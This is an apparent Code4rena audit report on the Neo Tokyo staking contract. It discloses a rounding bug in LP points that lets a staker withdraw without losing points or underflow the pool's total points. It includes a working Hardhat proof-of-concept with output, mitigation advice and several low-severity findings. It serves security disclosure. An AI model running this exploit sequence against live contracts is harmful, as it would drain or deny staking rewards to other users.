Neo Tokyo contest - jekapi's results

Lines of code

https://github.com/code-423n4/2023-03-neotokyo/blob/main/contracts/staking/NeoTokyoStaker.sol#L1623-L1630 https://github.com/code-423n4/2023-03-neotokyo/blob/main/contracts/staking/NeoTokyoStaker.sol#L1155 https://github.com/code-423n4/2023-03-neotokyo/blob/main/contracts/staking/NeoTokyoStaker.sol#L1298

Vulnerability details

Impact

The rounding in the calculation below (used in NeoTokyoStaker.sol#L1623 and NeoTokyoStaker.sol#L1155 when staking and withdrawing LP tokens) results in zero points for any amount of LP tokens smaller than 1e16.

points = amount * 100 / 1e18 * multiplier / _DIVISOR;

This bug can break the staking logic in several exploitable ways:

1. An attacker can stake a any amount of LP tokens and then withdraw completely in a large number of small (<= 1e16) withdrawals. The attacker will not lose any points in this process. As a result, the attacker will be able to collect staking rewards corresponding to the original position because reward is calculated solely based on points (see NeoTokyoStaker.sol#L1298).
2. An attacker can underflow totalPoints (in the LP token pool) by performing a larger number of small (<= 1e16) staking transactions and then one single withdrawal of the staked tokens. This will result in reduced / zero staking rewards when calling getPoolRewards(...) with the LP token asset type, thus breaking LP token staking for all users.

Proof of Concept

Consider the following modified version of the "with staked LP tokens" tests:

describe('POC', function () {
    let aliceStakeTime, bobStakeTime, priorBlockNumber, priorBlock;
    beforeEach(async () => {
        await NTStaking.connect(owner.signer).configureLP(LPToken.address);
    });

    it('alice keeps points after withdrawing position', async function () {
        // Stake Alice's LP tokens for 30 days.
        await NTStaking.connect(alice.signer).stake(
            ASSETS.LP.id,
            TIMELOCK_OPTION_IDS['30'],
            ethers.utils.parseEther('1'),
            0,
            0
        );
        priorBlockNumber = await ethers.provider.getBlockNumber();
        priorBlock = await ethers.provider.getBlock(priorBlockNumber);
        aliceStakeTime = priorBlock.timestamp;

        await ethers.provider.send('evm_setNextBlockTimestamp', [
            aliceStakeTime + (60 * 60 * 24 * 30)
        ]);
        for (var j  = 0; j < 100; j++)
        {
            await NTStaking.connect(alice.signer).withdraw(
                ASSETS.LP.id,
                ethers.utils.parseEther('1').div(200)
            );
            await NTStaking.connect(alice.signer).withdraw(
                ASSETS.LP.id,
                ethers.utils.parseEther('1').div(200)
            );
        }
        let alicePosition = await NTStaking.getStakerPositions(alice.address);
        alicePosition.stakedLPPosition.amount.should.be.equal(0);
        console.log('Alice still has ' + alicePosition.stakedLPPosition.points + ' points');
    });

    it('alice underflows pool totalPoints', async function () {
        // Stake Alice's LP tokens for 30 days.
        for (var j  = 0; j < 100; j++)
        {
            await NTStaking.connect(alice.signer).stake(
                ASSETS.LP.id,
                TIMELOCK_OPTION_IDS['30'],
                ethers.utils.parseEther('1').div(200),
                0,
                0
            );
            await NTStaking.connect(alice.signer).stake(
                ASSETS.LP.id,
                TIMELOCK_OPTION_IDS['30'],
                ethers.utils.parseEther('1').div(200),
                0,
                0
            );
        }
        let priorBlockNumber = await ethers.provider.getBlockNumber();
        let priorBlock = await ethers.provider.getBlock(priorBlockNumber);
        aliceStakeTime = priorBlock.timestamp;

        // Withdraw Alice's tokens to underflow the points.
        await ethers.provider.send('evm_setNextBlockTimestamp', [
            aliceStakeTime + (60 * 60 * 24 * 30)
        ]);
        await NTStaking.connect(alice.signer).withdraw(
            ASSETS.LP.id,
            ethers.utils.parseEther('1')
        );
        let alicePosition = await NTStaking.getStakerPositions(alice.address);
        console.log('Alice has ' + alicePosition.stakedLPPosition.points + ' points (and this is the total as well)');

        // Stake Bob's LP tokens.
        await NTStaking.connect(bob.signer).stake(
            ASSETS.LP.id,
            TIMELOCK_OPTION_IDS['30'],
            ethers.utils.parseEther('50'),
            0,
            0
        );
        priorBlockNumber = await ethers.provider.getBlockNumber();
        priorBlock = await ethers.provider.getBlock(priorBlockNumber);
        bobStakeTime = priorBlock.timestamp;

        await ethers.provider.send('evm_setNextBlockTimestamp', [
            bobStakeTime + (60 * 60 * 24 * 30)
        ]);

        let bobPoolRewards = await NTStaking.connect(bob.signer).getPoolReward(ASSETS.LP.id, bob.address);
        console.log('Bob will recieve the following rewards: ' + bobPoolRewards);
    });
});

The output is:

jekapi@c4$ npx hardhat test --grep "POC"

...

  Testing BYTES 2.0 & Neo Tokyo Staker
    with example configuration
      POC
Alice still has 100 points
        ✔ alice keeps points after withdrawing position (7163ms)
Alice has 115792089237316195423570985008687907853269984665640564039457584007913129639836 points (and this is the total as well)
Bob will recieve the following rewards: 0,0
        ✔ alice underflows pool totalPoints (5922ms)

In the first test, we can see that alice withdrew her staked LP tokens without losing any points which will result in "free" staking rewards. In the second test, alice is the first to stake which allows her to easily underflow the total number of points in the pool (this can be done when alice is not the first staker but requires a larger number of transactions). As a result, bob recieves no rewards for staking a considerble amount of tokens.

Tools Used

Manual review, Hardhat

Recommended Mitigation Steps

Consider imposing a minimum stake / withdraw amount or changing the point calculation formula. Also, it is better to use decimals() instead of assuming 1e18.

Low rated findings

1. Protocol inconsistency with S1 citizen vaults

When staking S1 citizens, their vault influences the points calculation for staking rewards. User can also attach non-component vaults to S1 citizens when staking. When calculating the credit yield for the citizen only component vaults are counted since citizenVaultId (non-zero only for component vaults) is passed to the function instead of vaultId (which is correct for both component and non-component vaults). This means the staker will receive more rewards by disassembling the citizen and recreating it with the attached vault.

2. Function getReward can be called for any address

The function for claiming staking rewards in BYTES2.sol#L114 can be called with any _to address including address(0) and other users. It is unclear why this is not limited to msg.sender only (which is consistent with all _to values used in the code base) and there is no check that _to is not the zero address (which is not a risk because _mint will revert after rewards are calculated).

3. Asset type validation is incorrect

In stake(...) & withdraw(...) the first check for asset type allows 4 (only fails for types strictly larger than 4) which is an "off-by-1" error. This check has no impact because EVM will panic when _assetType is out of enum bounds. Relevant code areas: NeoTokyoStaker.sol#L1205 and NeoTokyoStaker.sol#L1668.